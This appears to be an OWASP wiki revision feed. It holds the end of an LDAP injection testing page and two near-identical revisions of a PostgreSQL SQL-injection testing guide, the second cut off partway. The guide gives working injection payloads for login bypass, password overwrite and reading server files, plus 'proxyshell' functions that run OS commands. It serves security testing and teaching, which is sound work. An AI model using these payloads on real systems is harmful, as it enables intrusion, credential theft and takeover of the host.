=== Example 1. Search Filters ===&lt;br /&gt;
&lt;br /&gt;
Let's suppose we have web application using a search&lt;br /&gt;
filter like the following one:&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=&amp;quot;+user+&amp;quot;)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
which is instantiated by an HTTP request like this:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=John&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If 'John' value is replaced with a '*',&lt;br /&gt;
by sending the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the filter will look like:&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=*)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
which means every object with a 'cn' attribute equals to anything.&lt;br /&gt;
&lt;br /&gt;
If the application is vulnerable to LDAP injection &lt;br /&gt;
depending on LDAP connected user permissions and application execution&lt;br /&gt;
flow it will be displayed some or all of users attributes.&lt;br /&gt;
&lt;br /&gt;
A tester could use trial and error approach by inserting&lt;br /&gt;
'(', '|', '&amp;amp;', '*' and the other characters in order to check &lt;br /&gt;
the application for errors.&lt;br /&gt;
&lt;br /&gt;
=== Example 2. Login ===&lt;br /&gt;
&lt;br /&gt;
If a web application uses a vulnerable login page with LDAP query for &lt;br /&gt;
user credentials, it is possible to bypass the check for user/password &lt;br /&gt;
presence by injecting an always true LDAP query (in a similar way to SQL&lt;br /&gt;
and XPATH injection ).&lt;br /&gt;
&lt;br /&gt;
Let's suppose a web application uses a filter to match LDAP user/password pair.&lt;br /&gt;
&lt;br /&gt;
searchlogin= &amp;quot;(&amp;amp;(uid=&amp;quot;+user+&amp;quot;)(userPassword={MD5}&amp;quot;+base64(pack(&amp;quot;H*&amp;quot;,md5(pass)))+&amp;quot;))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
By using the following values:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;user=*)(uid=*))(|(uid=*&lt;br /&gt;
 pass=password&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the search filter will results in:&lt;br /&gt;
&lt;br /&gt;
 searchlogin=&amp;quot;(&amp;amp;(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
which is correct and always true. &lt;br /&gt;
This way the tester will gain logged-in status as the first user in LDAP three.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
Sacha Faust: &amp;quot;LDAP Injection&amp;quot; - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;RFC 1960&amp;lt;/nowiki&amp;gt;: &amp;quot;A String Representation of LDAP Search Filters&amp;quot; - http://www.ietf.org/rfc/rfc1960.txt&amp;lt;br&amp;gt;&lt;br /&gt;
Bruce Greenblatt: &amp;quot;LDAP Overview&amp;quot; - http://www.directory-applications.com/ldap3_files/frame.htm&amp;lt;br&amp;gt;&lt;br /&gt;
IBM paper: &amp;quot;Understanding LDAP&amp;quot; - http://www.redbooks.ibm.com/redbooks/SG244986.html &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=36965</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=36965"/>
				<updated>2008-08-22T23:14:38Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Short Description of the Issue =&lt;br /&gt;
&lt;br /&gt;
In this paragraph, we're going to describe some SQL Injection techniques for PostgreSQL.&lt;br /&gt;
Keep in mind the following peculiarities:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we suppose that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Black Box testing and example =&lt;br /&gt;
&lt;br /&gt;
== Identifing PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When a SQL Injection has been found, you need to carefully &lt;br /&gt;
fingerprint the backend database engine. You can determine that the backend database engine&lt;br /&gt;
is PostgreSQL by using the ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL injection attacks, you should take in consideration the following built-in functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current&lt;br /&gt;
session process sleep for ''n'' seconds. &lt;br /&gt;
&lt;br /&gt;
In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
Strings can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
   * chr(n): Returns the character whose ascii value corresponds to the number n&lt;br /&gt;
   * ascii(n): Returns the ascii value corresponds to the character n&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let;s say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' as: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
The identity of the current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
The built-in function current_database() returns the current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two ways to access a local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system with as the ''postgres'' user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performing a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieve a row at time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, and tcl.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting its ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user. It's not installed by default and can be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on some databsae:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'&lt;br /&gt;
* If not, try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If all of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run a OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allow to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not, assuming that sysadm has already installed the plperl package, try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If all of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;); LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run a OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
OWASP : &amp;quot;Testing for SQL Injection&amp;quot; - http://www.owasp.org/index.php/Testing_for_SQL_Injection&lt;br /&gt;
&lt;br /&gt;
Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
= Tools =&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=36964</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=36964"/>
				<updated>2008-08-22T23:03:44Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Short Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Short Description of the Issue =&lt;br /&gt;
&lt;br /&gt;
In this paragraph, we're going to describe some SQL Injection techniques for PostgreSQL.&lt;br /&gt;
Keep in mind the following peculiarities:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we suppose that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Black Box testing and example =&lt;br /&gt;
&lt;br /&gt;
== Identifing PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When a SQL Injection has been found you need to carefully &lt;br /&gt;
fingerprint backend database engine. You can determine that backend database engine&lt;br /&gt;
is PostgreSQL by using ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Function version() can be used to grab PostgreSQL banner to further more enumerare underlying operating system too.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL Injection you should take in consideration internal provided functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Starting from 8.2 PostgreSQL has introduced a built int function: ''pg_sleep(n)'' to make current&lt;br /&gt;
session process sleep for ''n'' seconds. &lt;br /&gt;
&lt;br /&gt;
On previous  version you can easy create a custom ''pg_sleep(n)'' by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
String can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
   * chr(n): Returns the character whose ascii value corresponds to the number&lt;br /&gt;
   * ascii(n): Returns the ascii value corresponds to the character&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' with: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
Current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
Native function current_database() return current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two way to access local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between file and table. PostgreSQL engine access local FileSystem with ''postgres'' user rights.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performi a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieve a row at time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced on ''PostgreSQL 8.1'' and allow to read arbitrary file located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting COPY statement we can write to local filesystem with ''postgres'' user rights as well&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, tcl.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1 it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting it's ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user. It's not installed by default and should be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on some databsae:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpython'&lt;br /&gt;
* If not try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If all of the above succeded create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
